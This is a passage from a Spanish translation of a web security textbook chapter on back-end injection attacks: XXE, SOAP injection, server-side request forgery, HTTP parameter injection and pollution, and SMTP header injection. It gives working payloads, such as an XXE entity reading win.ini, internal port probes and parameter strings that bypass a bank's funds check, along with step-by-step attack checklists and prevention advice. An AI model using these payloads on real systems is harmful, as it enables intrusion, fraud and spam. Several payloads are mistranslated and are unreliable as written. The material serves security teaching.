SYSTEM , y su defi nición es una URL que puede utilizar el archivo: protocolo.
En el ejemplo anterior, el atacante puede enviar la siguiente solicitud, que define una
entidad externa XML que hace referencia a un archivo en el sistema de archivos del servidor:
POST /search/128/AjaxSearch.ashx HTTP/1.1

<!DOCTYPE foo [ <!ENTIDAD xxe SISTEMA “archivo:///windows/win.ini” > ]>

<Search><SearchTerm>&xxe;</SearchTerm></Search>
Esto hace que el analizador XML busque el contenido del archivo especificado y lo use
en lugar de la referencia de entidad definida, que el atacante ha usado dentro del elemento
SearchTerm . Debido a que el valor de este elemento se repite en la respuesta de la
aplicación, esto hace que el servidor responda con el contenido del archivo, de la siguiente
manera:
Tipo de contenido: texto/xml; conjunto de caracteres = utf-8
<Search><SearchResult>No se encontraron resultados para la expresión: ; para aplicación de 16 bits

soporte
[fuentes]
[extensiones]
[extensiones mci] [archivos]
...
¡INTENTALO!
http://mdsec.net/search/128/
Además de usar el protocolo file: para especificar recursos en el sistema de archivos

local, el atacante puede usar protocolos como http: para hacer que el servidor obtenga
recursos a través de la red. Estas direcciones URL pueden especificar hosts,
direcciones IP y puertos arbitrarios. Pueden permitir que el atacante interactúe con
servicios de red en sistemas back-end a los que no se puede acceder directamente desde Internet.
Por ejemplo, el siguiente ataque intenta conectarse a un servidor de correo que se ejecuta en el
puerto 25 en la dirección IP privada 192.168.1.1:
<!DOCTYPE foo [ <!ENTIDAD xxe SISTEMA “http://192.168.1.1:25” > ]>

Esta técnica puede permitir realizar varios ataques:
n El atacante puede usar la aplicación como un proxy, recuperando contenido confidencial

de cualquier servidor web al que pueda acceder la aplicación, incluidos los que se
ejecutan internamente dentro de la organización en un espacio de direcciones privado
no enrutable. n El atacante puede explotar vulnerabilidades en aplicaciones web back-end,
siempre que estos puedan ser explotados a través de la URL.
n El atacante puede comprobar si hay puertos abiertos en los sistemas back-end al pasar
por un gran número de direcciones IP y números de puerto. En algunos casos, las
diferencias de tiempo se pueden utilizar para inferir el estado de un puerto solicitado. En
otros casos, los banners de servicio de algunos servicios pueden devolverse dentro de
las respuestas de la aplicación.
Por último, si la aplicación recupera la entidad externa pero no la devuelve en las respuestas,
aún es posible provocar una denegación de servicio al leer un flujo de archivos de forma
indefinida. Por ejemplo:
<!DOCTYPE foo [ <!ENTIDAD xxe SYSTEM “ archivo:///dev/random”> ]>
Inyectar en servicios SOAP

El Protocolo simple de acceso a objetos (SOAP) es una tecnología de comunicaciones
basada en mensajes que utiliza el formato XML para encapsular datos. Se puede utilizar
para compartir información y transmitir mensajes entre sistemas, incluso si estos se
ejecutan en diferentes sistemas operativos y arquitecturas. Su uso principal es en servicios
web. En el contexto de una aplicación web a la que se accede mediante un navegador, lo
más probable es que encuentre SOAP en las comunicaciones que se producen entre los
componentes de la aplicación de back-end.
SOAP se usa a menudo en aplicaciones empresariales a gran escala donde las tareas
individuales son realizadas por diferentes computadoras para mejorar el rendimiento. También
se encuentra a menudo cuando se ha implementado una aplicación web como front-end para
una aplicación existente. En esta situación, las comunicaciones entre diferentes componentes
pueden implementarse utilizando SOAP para garantizar la modularidad y la interoperabilidad.
Debido a que XML es un lenguaje interpretado, SOAP es potencialmente vulnerable a la

inyección de código de manera similar a los otros ejemplos ya descritos. Los elementos
XML se representan sintácticamente, utilizando los metacaracteres <, > y /. Si los datos
proporcionados por el usuario que contienen estos caracteres se insertan directamente en
un mensaje SOAP, un atacante puede interferir con la estructura del mensaje y, por lo tanto,
interferir con la lógica de la aplicación o causar otros efectos no deseados.
Considere una aplicación bancaria en la que un usuario inicia una transferencia de
fondos utilizando una solicitud HTTP como la siguiente:
POST /banco/27/Default.aspx HTTP/1.0

FromAccount=18281008&Amount=1430&ToAccount=08447656&Submit=Enviar
En el transcurso del procesamiento de esta solicitud, se envía el siguiente mensaje

SOAP entre dos de los componentes de back-end de la aplicación:
<jabón:Sobre xmlns:soap=”http://www.w3.org/2001/12/soap-envelope”>
<jabón:Cuerpo>
<pre:Agregar xmlns:pre=http://target/lists soap:encodingStyle= “http://www.w3.org/2001/12/soap-
encoding”>
<Cuenta>
<DeCuenta>18281008</DeCuenta>
<Cantidad>1430</Cantidad>
<ClearedFunds>Falso</ClearedFunds>
<ParaCuenta>08447656</ParaCuenta>
</Cuenta>
</pre:Agregar>
</jabon:Cuerpo>
</jabon:Sobre>
Tenga en cuenta cómo los elementos XML en el mensaje corresponden a los parámetros
en la solicitud HTTP y también la adición del elemento ClearedFunds . En este punto de la
lógica de la aplicación, ha determinado que no hay suficientes fondos disponibles para
realizar la transferencia solicitada y ha establecido el valor de este elemento en Falso.
Como resultado, el componente que recibe el mensaje SOAP no actúa sobre él.
En esta situación, hay varias formas en las que podría intentar inyectar en el mensaje
SOAP y, por lo tanto, interferir con la lógica de la aplicación. Por ejemplo, enviar la siguiente
solicitud hace que se inserte un elemento ClearedFunds adicional en el mensaje antes del
elemento original ( manteniendo la validez sintáctica del SQL). Si la aplicación procesa el
primer elemento ClearedFunds que encuentra, puede realizar una transferencia cuando no
haya fondos disponibles:

FromAccount=18281008&Amount=1430</Amount><Fondos Liquidados>Verdadero
</ClearedFunds><Cantidad>1430&ToAccount=08447656&Submit=Enviar
Por otro lado, si la aplicación procesa el último elemento ClearedFunds

que encuentra, podría inyectar un ataque similar en el parámetro ToAccount .
Un tipo diferente de ataque sería usar comentarios XML para eliminar parte del
mensaje SOAP original y reemplazar los elementos eliminados con los suyos propios.
Por ejemplo, la siguiente solicitud inyecta un elemento ClearedFunds a través del
parámetro Amount , proporciona la etiqueta de apertura para el elemento ToAccount ,
abre un comentario y cierra el comentario en el parámetro ToAccount , preservando
así la validez sintáctica del XML:
</ClearedFunds><ToAccount>08447656&Submit=Enviar
Otro tipo de ataque sería intentar completar todo el mensaje SOAP desde un
parámetro inyectado y comentar el resto del mensaje. Sin embargo, debido a que el
comentario de apertura no coincidirá con un comentario de cierre, este ataque
produce XML estrictamente no válido, que muchos analizadores de XML rechazarán.
Es probable que este ataque solo funcione contra un analizador XML personalizado
y de cosecha propia, en lugar de cualquier biblioteca de análisis XML:
</FondosAclarados>
<ToAccount>08447656</ToAccount></Account></pre:Add></soap:Body>
</soap:Envelope> ) en otro parámetro. Luego cámbielos
(porque no tiene forma de saber en qué orden aparecen los parámetros). Si lo hace,
puede tener el efecto de comentar una parte del mensaje SOAP del servidor. Esto
puede provocar un cambio en la lógica de la aplicación o generar una condición de
error diferente que puede divulgar información.
Si la inyección de SOAP es difícil de detectar, puede ser aún más difícil de explotar. En
la mayoría de las situaciones, necesita conocer la estructura del XML que rodea sus datos
para proporcionar una entrada diseñada que modifique el mensaje sin invalidarlo. En todas
las pruebas anteriores, busque mensajes de error que revelen detalles sobre el mensaje
SOAP que se está procesando. Si tiene suerte, un mensaje detallado revelará el mensaje
completo, lo que le permitirá construir valores elaborados para explotar la vulnerabilidad. Si
no tiene suerte, es posible que se limite a puras conjeturas, lo que es muy poco probable
que tenga éxito.
Prevención de la inyección de SOAP

Puede evitar la inyección de SOAP empleando filtros de validación de límites en cualquier punto
donde los datos proporcionados por el usuario se inserten en un mensaje SOAP (consulte el
Capítulo 2). Esto debe realizarse tanto en los datos que se han recibido inmediatamente del
usuario en la solicitud actual como en cualquier dato que se haya conservado de solicitudes
anteriores o que se haya generado a partir de otro procesamiento que tome los datos del usuario como entrada.
Para evitar los ataques descritos, la aplicación debe codificar en HTML todos los metacaracteres
XML que aparecen en la entrada del usuario. La codificación HTML implica reemplazar caracteres
literales con sus entidades HTML correspondientes. Esto asegura que el intérprete XML los trate
como parte del valor de los datos del elemento relevante y no como parte de la estructura del
mensaje en sí. Aquí están las codificaciones HTML de algunos caracteres problemáticos comunes:
n < — <
n > — >
n / — /
Inyectar en solicitudes HTTP de back-end

La sección anterior describió cómo algunas aplicaciones incorporan datos proporcionados por el
usuario en solicitudes SOAP de back-end a servicios a los que el usuario no puede acceder
directamente. En términos más generales, las aplicaciones pueden incorporar la entrada del usuario
en cualquier tipo de solicitud HTTP de back-end, incluidas aquellas que transmiten parámetros
como pares regulares de nombre/valor. Este tipo de comportamiento suele ser vulnerable a los
ataques, ya que la aplicación a menudo actúa como proxy de la URL o los parámetros proporcionados por el usuario.
Los ataques contra esta funcionalidad se pueden dividir en las siguientes categorías:
Los ataques de redirección HTTP del lado del servidor permiten que un atacante especifique
un recurso o URL arbitrario que luego solicita el servidor de aplicaciones front-end. Los
ataques de inyección de parámetros HTTP (HPI) permiten que un atacante inyecte parámetros
arbitrarios en una solicitud HTTP de back-end realizada por el servidor de aplicaciones. Si
un atacante inyecta un parámetro que ya existe en la solicitud de back-end, los ataques de
contaminación de parámetros HTTP (HPP) pueden usarse para anular el valor del parámetro
original especificado por el servidor.
Redirección HTTP del lado del servidor
Las vulnerabilidades de redirección del lado del servidor surgen cuando una aplicación toma una
entrada controlable por el usuario y la incorpora en una URL que recupera mediante una solicitud
HTTP de back-end. La entrada proporcionada por el usuario puede comprender la URL completa
que se recupera, o la aplicación puede realizar algún procesamiento en ella, como agregar un sufijo
estándar.
La solicitud HTTP de back-end puede ser a un dominio en la Internet pública, o puede

ser a un servidor interno al que el usuario no puede acceder directamente. El contenido
solicitado puede ser fundamental para la funcionalidad de la aplicación, como una interfaz
para una pasarela de pago. O puede ser más periférico, como contenido estático extraído
de un tercero. Esta técnica se usa a menudo para unir varios componentes de
aplicaciones internas y externas dispares en una sola aplicación frontal que maneja el
control de acceso y la gestión de sesiones en nombre de estos otros sistemas. Si un
atacante puede controlar la dirección IP o el nombre de host utilizado en la solicitud
HTTP de back-end, puede hacer que el servidor de aplicaciones se conecte a un recurso
arbitrario y, en ocasiones, recuperar el contenido de la respuesta de back-end.
Considere el siguiente ejemplo de una solicitud de front-end, en la que el parámetro

loc se usa para especificar qué versión de un archivo CSS quiere usar el cliente:
POST /cuenta/casa HTTP/1.1
Anfitrión: wahh-blogs.net
ver=predeterminado&loc=online.wahh-blogs.net/css/wahh.css
Si no se especifica ninguna validación de la URL en el parámetro loc , un atacante

puede especificar un nombre de host arbitrario en lugar de online.wahh-blogs.net. La
aplicación recupera el recurso especificado, lo que permite que el atacante use la
aplicación como un proxy para servicios back-end potencialmente confidenciales. En el
siguiente ejemplo, el atacante hace que la aplicación se conecte a un servicio SSH de back-end:
POST /cuenta/casa HTTP/1.1
Anfitrión: blogs.mdsec.net
ver=predeterminado&loc=192.168.0.1:22
La respuesta de la aplicación incluye el banner del servicio SSH solicitado:

Conexión: cerrar
SSH-2.0-OpenSSH_4.2Desajuste de protocolo.
Un atacante puede explotar los errores de redirección HTTP del lado del servidor para usar de
manera efectiva la aplicación vulnerable como un proxy HTTP abierto para realizar varios ataques adicionales:
n Un atacante puede usar el proxy para atacar sistemas de terceros en Internet. Al

objetivo le parece que el tráfico malicioso se origina en el servidor en el que se
ejecuta la aplicación vulnerable.
n Un atacante puede usar el proxy para conectarse a hosts arbitrarios en la red
interna de la organización, alcanzando así objetivos a los que no se puede acceder
directamente desde Internet.
n Un atacante puede usar el proxy para volver a conectarse a otros servicios que se
ejecutan en el propio servidor de aplicaciones, eludiendo las restricciones del
cortafuegos y explotando potencialmente las relaciones de confianza para eludir la
autenticación. n Por último, la funcionalidad del proxy podría usarse para lanzar ataques
como cross-site scripting al hacer que la aplicación incluya contenido controlado por
el atacante dentro de sus respuestas (consulte el Capítulo 12 para obtener más detalles).
PASOS DE HACK
1. Identifique cualquier parámetro de solicitud que parezca contener nombres de host, IP

direcciones o URL completas.
2. Para cada parámetro, modifique su valor para especificar un recurso alternativo,

similar al que se solicita, y ver si ese recurso aparece en la respuesta del servidor.
3. Intente especificar una URL dirigida a un servidor en Internet que usted controle y
supervise ese servidor en busca de conexiones entrantes desde la aplicación que
está probando.
4. Si no se recibe ninguna conexión entrante, controle el tiempo que tarda la aplicación

en responder. Si hay un retraso, es posible que las solicitudes de back-end de la
aplicación se agoten debido a las restricciones de la red en las conexiones
salientes.
5. Si tiene éxito en el uso de la funcionalidad para conectarse a direcciones URL

arbitrarias, intente realizar los siguientes ataques: a. Determine si se puede
especificar el número de puerto. Por ejemplo, puede proporcionar http://

mdattacker.net:22.
b. Si tiene éxito, intente escanear los puertos de la red interna utilizando una herramienta
como Burp Intruder para conectarse a un rango de direcciones IP y puertos en
secuencia (consulte el Capítulo 14). C. Intente conectarse a otros servicios en la
dirección de bucle invertido del servidor de aplicaciones. d. Intente cargar una página
web que usted controla en la respuesta de la aplicación para lanzar un ataque de
secuencias de comandos entre sitios.
NOTA Algunas API de redirección del lado del servidor, como Server.Transfer() y
Server.Execute() en ASP.NET, permiten la redirección solo a direcciones URL relativas en
el mismo host. La funcionalidad que pasa la entrada proporcionada por el usuario a uno de
estos métodos aún puede explotarse potencialmente para explotar las relaciones de
confianza y acceder a los recursos en el servidor que están protegidos por la autenticación a
nivel de plataforma.
¡INTENTALO!
http://mdsec.net/updates/97/
Inyección de parámetros HTTP

La inyección de parámetros HTTP (HPI) surge cuando los parámetros proporcionados por el
usuario se utilizan como parámetros dentro de una solicitud HTTP de back-end. Considere la
siguiente variación de la funcionalidad de transferencia bancaria que anteriormente era vulnerable
a la inyección de SOAP:

FromAccount=18281008&Amount=1430&ToAccount=08447656&Submit=Enviar
Esta solicitud de front-end, enviada desde el navegador del usuario, hace que la aplicación
realice una solicitud HTTP de back-end adicional a otro servidor web dentro de la infraestructura
del banco. En esta solicitud de back-end, la aplicación copia algunos de los valores de los
parámetros de la solicitud de front-end:
POST /doTransfer.asp HTTP/1.0

Anfitrión: mdsec-mgr.int.mdsec.net
fromacc=18281008&cantidad=1430&toacc=08447656
Esta solicitud hace que el servidor de fondo verifique si los fondos compensados están
disponibles para realizar la transferencia y, de ser así, para llevarla a cabo. Sin embargo, el
servidor front -end puede especificar opcionalmente que los fondos compensados están
disponibles y, por lo tanto, omitir la verificación, proporcionando el siguiente parámetro:
fondos despejados=verdadero
Si el atacante es consciente de este comportamiento, puede intentar realizar

un ataque HPI para inyectar el parámetro clearedfunds en la solicitud de back-
end. Para hacer esto, agrega el parámetro requerido al final del valor de un
parámetro existente y codifica en URL los caracteres & y que
separar =, se usan para
nombres y valores:

FromAccount=18281008&Amount=1430&ToAccount=08447656%26clearedfunds%3dtru
e&Enviar=Enviar
Cuando el servidor de aplicaciones procesa esta solicitud, decodifica en URL los

valores de los parámetros de la forma habitual. Entonces, el valor del parámetro
ToAccount que recibe la aplicación front-end es el siguiente:
08447656&fondoslimpiados=verdadero
Si la aplicación de front-end no valida este valor y lo pasa sin desinfectar a la solicitud de

back-end, se realiza la siguiente solicitud de back-end, que omite con éxito el cheque de fondos
compensados:
POST /doTransfer.asp Servidor HTTP/1.0: mdsec-

mgr.int.mdsec.net
fromacc=18281008&amount=1430&toacc=08447656&clearedfunds=true
¡INTENTALO!
NOTA A diferencia de la inyección de SOAP, es poco probable que la inyección de parámetros

inesperados arbitrarios en una solicitud de back-end cause algún tipo de error. Por lo tanto,
un ataque exitoso normalmente requiere un conocimiento exacto de los parámetros de back-
end que se están utilizando. Aunque esto puede ser difícil de determinar en un contexto de
caja negra, puede ser sencillo si la aplicación utiliza componentes de terceros cuyo código se
puede obtener e investigar.
Contaminación de parámetros HTTP
HPP es una técnica de ataque que surge en varios contextos (consulte los Capítulos 12 y 13
para ver otros ejemplos) y que a menudo se aplica en el contexto de ataques HPI.
Las especificaciones de HTTP no brindan pautas sobre cómo deben comportarse los
servidores web cuando una solicitud contiene varios parámetros con el mismo nombre. En la
práctica, diferentes servidores web se comportan de diferentes maneras. Estos son algunos
comportamientos comunes:
n Utilice la primera instancia del parámetro. n

Usar la última instancia del parámetro. n
Concatenar los valores de los parámetros, tal vez agregando un separador entre ellos.
n Construya una matriz que contenga todos los valores proporcionados.
En el ejemplo anterior de HPI, el atacante podría agregar un nuevo parámetro a

una solicitud de back-end. De hecho, es más probable en la práctica que la solicitud
en la que el atacante puede inyectar ya contenga un parámetro con el nombre que
está apuntando. En esta situación, el atacante puede usar la condición HPI para inyectar
una segunda instancia del mismo parámetro. El comportamiento de la aplicación
resultante depende de cómo el servidor HTTP de back-end maneja el parámetro duplicado.
El atacante puede usar la técnica HPP para "anular" el valor del parámetro original con
el valor de su parámetro inyectado.
Por ejemplo, si la solicitud de back-end original es la siguiente:
POST /doTransfer.asp Servidor HTTP/1.0:

mdsec-mgr.int.mdsec.net
fromacc=18281008&amount=1430&clearedfunds=false&toacc=08447656
y el servidor back-end usa la primera instancia de cualquier parámetro duplicado, un

atacante puede colocar el ataque en el parámetro FromAccount en la solicitud front-end :

FromAccount=18281008%26clearedfunds%3dtrue&Amount=1430&ToAccount=0844765
6&Enviar=Enviar
Por el contrario, en este ejemplo, si el servidor back-end usa la última instancia de

cualquier parámetro duplicado, el atacante puede colocar el ataque en el parámetro
ToAccount en la solicitud de front-end.
¡INTENTALO!
Los resultados de los ataques HPP dependen en gran medida de cómo el servidor
de aplicaciones de destino maneje múltiples ocurrencias del mismo parámetro y el punto
de inserción preciso dentro de la solicitud de back-end. Esto tiene consecuencias
significativas si dos tecnologías necesitan procesar la misma solicitud HTTP. Un firewall
de aplicaciones web o un proxy inverso pueden procesar una solicitud y pasarla a la
aplicación web, que puede proceder a descartar variables, ¡o incluso crear cadenas a
partir de partes previamente dispares de la solicitud!
Un buen artículo que cubre los diferentes comportamientos de la aplicación común.
Los servidores se pueden encontrar aquí:
www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
Ataques contra la traducción de URL

Muchos servidores reescriben las URL solicitadas al recibirlas para asignarlas a las
funciones de back-end relevantes dentro de la aplicación. Además de la reescritura de URL
convencional, este comportamiento puede surgir en el contexto de parámetros de estilo
REST, contenedores de navegación personalizados y otros métodos de traducción de URL.
El tipo de procesamiento que implica este comportamiento puede ser vulnerable a ataques HPI y HPP.
Para simplificar y facilitar la navegación, algunas aplicaciones colocan valores de
parámetros dentro de la ruta del archivo de la URL, en lugar de la cadena de consulta. A
menudo, esto se puede lograr con algunas reglas simples para transformar la URL y
reenviarla al verdadero destino. Las siguientes reglas mod_rewrite en Apache se usan para
manejar el acceso público a los perfiles de usuario:
RewriteCond %{THE_REQUEST} ^[AZ]{3,9}\ /pub/user/[^\&]*\ HTTP/

Regla de reescritura ^pub/usuario/([^/\.]+)$ /inc/user_mgr.php?mode=view&name=$1
Esta regla acepta solicitudes estéticamente agradables como:
/pub/usuario/marcus
y los transforma en solicitudes de back-end para la funcionalidad de visualización

contenida en la página de administración de usuarios user_mgr.php. Mueve el parámetro
marcus a la cadena de consulta y agrega el parámetro mode=view :
/inc/user_mgr.php?mode=view&name=marcus
En esta situación, puede ser posible usar un ataque HPI para inyectar un segundo modo
parámetro en la URL reescrita. Por ejemplo, si el atacante solicita esto:
/pub/usuario/marcus%26mode=editar
el valor decodificado de URL está incrustado en la URL reescrita de la siguiente manera:
/inc/user_mgr.php?mode=view&name=marcus&mode=editar
Como se describió para los ataques HPP, el éxito de este exploit depende de cómo el
servidor maneje el parámetro ahora duplicado. En la plataforma PHP, el parámetro de modo
se trata como si tuviera el valor de edición, por lo que el ataque tiene éxito.
PASOS DE HACK
1. Apunte a cada parámetro de solicitud por turno e intente agregar un nuevo parámetro
inyectado usando varias sintaxis:
n %26foo%3dbar — &foo=bar con codificación URL
n %3bfoo%3dbar — URL codificado ;foo=bar

n %2526foo%253dbar — &foo=bar con codificación URL doble
2. Identifique cualquier caso en el que la aplicación se comporte como si fuera el original.

parámetro no se modificaron. (Esto se aplica solo a los parámetros que generalmente
causan alguna diferencia en la respuesta de la aplicación cuando se modifican).
3. Cada instancia identificada en el paso anterior tiene la posibilidad de inyección de

parámetros. Intente inyectar un parámetro conocido en varios puntos de la solicitud
para ver si puede anular o modificar un parámetro existente. Por ejemplo:
FromAccount=18281008%26Amount%3d4444&Amount=1430&ToAcco
unt=08447656
4. Si esto hace que el nuevo valor anule el existente, determine

si puede omitir cualquier validación de front-end inyectando un valor que lee un
servidor de back-end.
5. Reemplace el parámetro conocido inyectado con nombres de parámetros adicionales

como se describe para el mapeo de aplicaciones y el descubrimiento de contenido en el Capítulo 4.
6. Pruebe la tolerancia de la aplicación de múltiples envíos del mismo

parámetro dentro de una solicitud. Envíe valores redundantes antes y después de
otros parámetros y en diferentes ubicaciones dentro de la solicitud (dentro de la
cadena de consulta, las cookies y el cuerpo del mensaje).
Inyectar en servicios de correo
Muchas aplicaciones contienen una función para que los usuarios envíen mensajes a través de la
aplicación , por ejemplo, para informar de un problema al personal de soporte o proporcionar
comentarios sobre el sitio web. Esta función generalmente se implementa mediante la interfaz con
un servidor de correo (o SMTP). Por lo general, la entrada proporcionada por el usuario se inserta en el SMTP
conversación que el servidor de aplicaciones realiza con el servidor de correo. Si un

atacante puede enviar una entrada adecuada que no esté filtrada o desinfectada, es
posible que pueda inyectar comandos STMP arbitrarios en esta conversación.
En la mayoría de los casos, la aplicación le permite especificar el contenido del mensaje y su
propia dirección de correo electrónico (que se inserta en el campo De del correo electrónico
resultante). También puede especificar el asunto del mensaje y otros detalles. Cualquier campo
relevante que controle puede ser vulnerable a la inyección SMTP.
Las vulnerabilidades de inyección SMTP a menudo son aprovechadas por los spammers que escanean
Internet en busca de formularios de correo vulnerables y los utilizan para generar grandes volúmenes de
correo electrónico molesto.
Manipulación de encabezado de correo electrónico
Considere el formulario que se muestra en la figura 10-6, que permite a los usuarios enviar
comentarios sobre la aplicación.
Figura 10-6: Un formulario de comentarios típico del sitio
Aquí, los usuarios pueden especificar una dirección De y el contenido del mensaje. La aplicación
pasa esta entrada al comando PHP mail() , que construye el correo electrónico y realiza la
conversación SMTP necesaria con su servidor de correo configurado. El correo generado es el
siguiente:
Para: [email protected] De:

[email protected]
Asunto: problema del sitio
Confirmar página de pedido no se carga
El comando PHP mail() usa un parámetro Additional_headers para establecer la dirección

de origen del mensaje. Este parámetro también se usa para especificar otros encabezados,
incluidos Cc y Bcc, separando cada encabezado obligatorio con un carácter de nueva
línea . Por lo tanto, un atacante puede hacer que el mensaje se envíe a destinatarios
arbitrarios inyectando uno de estos encabezados en el campo De, como se ilustra en la figura 10-7.
Figura 10-7: Un ataque de inyección de encabezado de correo electrónico
Esto hace que el comando mail() genere el siguiente mensaje:
Para: [email protected] De:

[email protected]
Bcc: [email protected] Asunto:
Problema en el sitio
Confirmar página de pedido no se carga
Inyección de comandos SMTP

En otros casos, la aplicación puede realizar la conversación SMTP por sí misma o
puede pasar la entrada proporcionada por el usuario a un componente diferente para
hacer esto. En esta situación, puede ser posible inyectar comandos SMTP arbitrarios
directamente en esta conversación, lo que podría tomar el control total de los mensajes
que genera la aplicación.
Por ejemplo, considere una aplicación que utiliza solicitudes de la siguiente forma
para enviar comentarios sobre el sitio:
POST feedback.php HTTP/1.1

[email protected]&Asunto=Sitio+comentarios&Mensaje=foo
Esto hace que la aplicación web realice una conversación SMTP con los siguientes
comandos:
CORREO DE: [email protected]
RCPT A: [email protected]
DATOS
De: [email protected]
Para: [email protected] Asunto:
Comentarios sobre el sitio
Foo
.
NOTA Después de que el cliente SMTP emite el comando DATA , envía el

contenido del mensaje de correo electrónico, incluidos los encabezados y el
cuerpo del mensaje. Luego envía un carácter de un solo punto en su propia línea.
Esto le dice al servidor que el mensaje está completo y el cliente puede emitir
más comandos SMTP para enviar más mensajes.
En esta situación, puede inyectar comandos SMTP arbitrarios en cualquiera de los

campos de correo electrónico que controla. Por ejemplo, puede intentar inyectar en el
campo Asunto de la siguiente manera:
POST feedback.php HTTP/1.1

[email protected]&Asunto=Sitio+comentarios%0d%0afoo%0d%0a%2e%0d
%0aCORREO+DE:[email protected]%0d%0aRCPT+PARA:+john@wahh-mail
.com%0d%0aDATA%0d%0aDe:[email protected]%0d%0aPara:+john@wahh-mail
.com%0d%0aAsunto:+Barato+V1AGR4%0d%0aBlah%0d%0a%2e%0d%0a&Mensaje=foo
Si la aplicación es vulnerable, se produce la siguiente conversación SMTP , que genera dos

mensajes de correo electrónico diferentes. El segundo está completamente bajo su control:
CORREO DE: [email protected]

DATOS
Para: [email protected]
Asunto: Sitio+retroalimentación
Foo
.
CORREO DESDE: [email protected]
DATOS
Para: [email protected]
Asunto: V1AGR4 barato
Paja
.
Foo
.
Encontrar fallas de inyección SMTP

Para sondear la funcionalidad de correo de una aplicación de manera efectiva, debe orientar todos
los parámetros que se envían a una función relacionada con el correo electrónico, incluso aquellos
que inicialmente pueden parecer no relacionados con el contenido del mensaje generado. Ustedes
también debe realizar pruebas para cada tipo de ataque, y debe realizar cada caso de
prueba utilizando caracteres de nueva línea al estilo de Windows y UNIX.
PASOS DE HACK
1. Debe enviar cada una de las siguientes cadenas de prueba como cada parámetro, insertando su
propia dirección de correo electrónico en la posición correspondiente:
<tucorreoelectrónico>%0aCc:<tucorreoelectrónico>
<tucorreo>%0d%0aCc:<tucorreo>
<tucorreoelectrónico>%0aBcc:<tucorreoelectrónico>
<tucorreo>%0d%0aBcc:<tucorreo>
%0aDATA%0afoo%0a%2e%0aCORREO+DE:+<sucorreoelectrónico>%0aRCPT+TO:
+<sucorreoelectrónico>%0aDATA%0aDe:+<sucorreoelectrónico>%0aPara:+<sucorreoelectrónico>%0aS
asunto:+test% 0afoo%0a%2e%0a
%0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aCORREO+DE:+<sucorreoelectrónico>%0
d%0aRCPT+TO:+<sucorreoelectrónico>%0d%0aDATA%0d%0aDe:+<sucorreoelectrónico> %
0d%0aPara:+<sucorreoelectrónico>%0d%0aAsunto:+prueba%0d%0
afoo%0d%0a%2e%0d%0a
2. Anote cualquier mensaje de error que devuelva la aplicación. Si estos parecen estar relacionados
con algún problema en la función de correo electrónico, investigue si necesita ajustar su entrada
para explotar una vulnerabilidad.
3. Es posible que las respuestas de la aplicación no indiquen de ninguna manera si existe una
vulnerabilidad o si se aprovechó con éxito. Debe monitorear la dirección de correo electrónico
que especificó para ver si se recibe algún correo.
4. Revise detenidamente el formulario HTML que genera la solicitud correspondiente. Este

puede contener pistas sobre el software del lado del servidor que se está utilizando. También
puede contener un campo oculto o deshabilitado que especifica la dirección de correo electrónico
Para, que puede modificar directamente.
SUGERENCIA Las funciones para enviar correos electrónicos al personal de soporte de

aplicaciones se consideran con frecuencia como secundarias y es posible que no estén sujetas a los
mismos estándares de seguridad o pruebas que la funcionalidad principal de la aplicación. Además,
debido a que implican una interfaz con un componente de back-end inusual, a menudo se implementan a
través de una llamada directa al comando del sistema operativo relevante. Por lo tanto, además de
sondear la inyección SMTP, también debe revisar detenidamente todas las funciones relacionadas con el
correo electrónico en busca de fallas en la inyección de comandos del sistema operativo.
Prevención de la inyección SMTP

Las vulnerabilidades de inyección de SMTP generalmente se pueden prevenir mediante la
implementación de una validación rigurosa de los datos proporcionados por el usuario que se pasan a
una función de correo electrónico o se utilizan en una conversación de SMTP. Cada elemento debe
validarse lo más estrictamente posible teniendo en cuenta el propósito para el que se utiliza:
n Las direcciones de correo electrónico deben cotejarse con una expresión regular adecuada
(que, por supuesto, debería rechazar cualquier carácter de nueva línea).
n El asunto del mensaje no debe contener caracteres de nueva línea y puede estar limitado a una
longitud adecuada. n Si el contenido de un mensaje se usa directamente en una conversación
SMTP , las líneas que contengan un solo punto no deben permitirse.
Resumen
Hemos examinado una amplia gama de ataques dirigidos a componentes de aplicaciones de back-end y
los pasos prácticos que puede seguir para identificar y explotar cada uno. Muchas vulnerabilidades del
mundo real se pueden descubrir en los primeros segundos de interactuar con una aplicación. Por
ejemplo, podría ingresar alguna sintaxis inesperada en un cuadro de búsqueda. En otros casos, estas
vulnerabilidades pueden ser muy sutiles, manifestándose en diferencias apenas detectables en el
comportamiento de la aplicación, o solo accesibles a través de un proceso de varias etapas de envío y
manipulación de entradas manipuladas.
Para estar seguro de que ha descubierto las fallas de inyección de back-end que existen dentro de
una aplicación, debe ser minucioso y paciente. Prácticamente todos los tipos de vulnerabilidades pueden
manifestarse en el procesamiento de prácticamente cualquier elemento de los datos proporcionados por
el usuario, incluidos los nombres y valores de los parámetros de la cadena de consulta, los datos POST
y las cookies, y otros encabezados HTTP. En muchos casos, un defecto surge solo después de un
sondeo exhaustivo del parámetro relevante a medida que aprende exactamente qué tipo de procesamiento
se está realizando en su entrada y analiza los obstáculos que se interponen en su camino.
Frente a la enorme superficie de ataque potencial que presentan los ataques potenciales contra los
componentes de la aplicación de back-end, puede sentir que cualquier ataque serio a una aplicación
debe implicar un esfuerzo titánico. Sin embargo, parte de aprender el arte de atacar el software es
adquirir un sexto sentido para saber dónde está escondido el tesoro y cómo es probable que su objetivo
se abra para que pueda robarlo. La única forma de obtener este sentido es a través de la práctica. Debe
ensayar las técnicas que hemos descrito en las aplicaciones de la vida real que encuentre y ver cómo se
destacan.
Preguntas
1. Un dispositivo de red proporciona una interfaz basada en web para realizar la configuración del
dispositivo. ¿Por qué este tipo de funcionalidad suele ser vulnerable a los ataques de inyección
de comandos del sistema operativo?
2. Está probando la siguiente URL:
http://wahh-app.com/home/statsmgr.aspx?country=US
Cambiar el valor del parámetro de país a foo da como resultado este mensaje de error:
No se pudo abrir el archivo: D:\app\default\home\logs\foo.log (archivo no válido).
¿Qué pasos podría tomar para atacar la aplicación?
3. Está probando una aplicación AJAX que envía datos en formato XML dentro de las
solicitudes POST. ¿Qué tipo de vulnerabilidad podría permitirle leer archivos arbitrarios
del sistema de archivos del servidor? ¿Qué requisitos previos deben existir para que su
ataque tenga éxito?
4. Realiza la siguiente solicitud a una aplicación que se ejecuta en la plataforma ASP.NET:
POST /home.aspx?p=urlparam1&p=urlparam2 HTTP/1.1

Cookie: p=cookieparam
p=parámetro del cuerpo
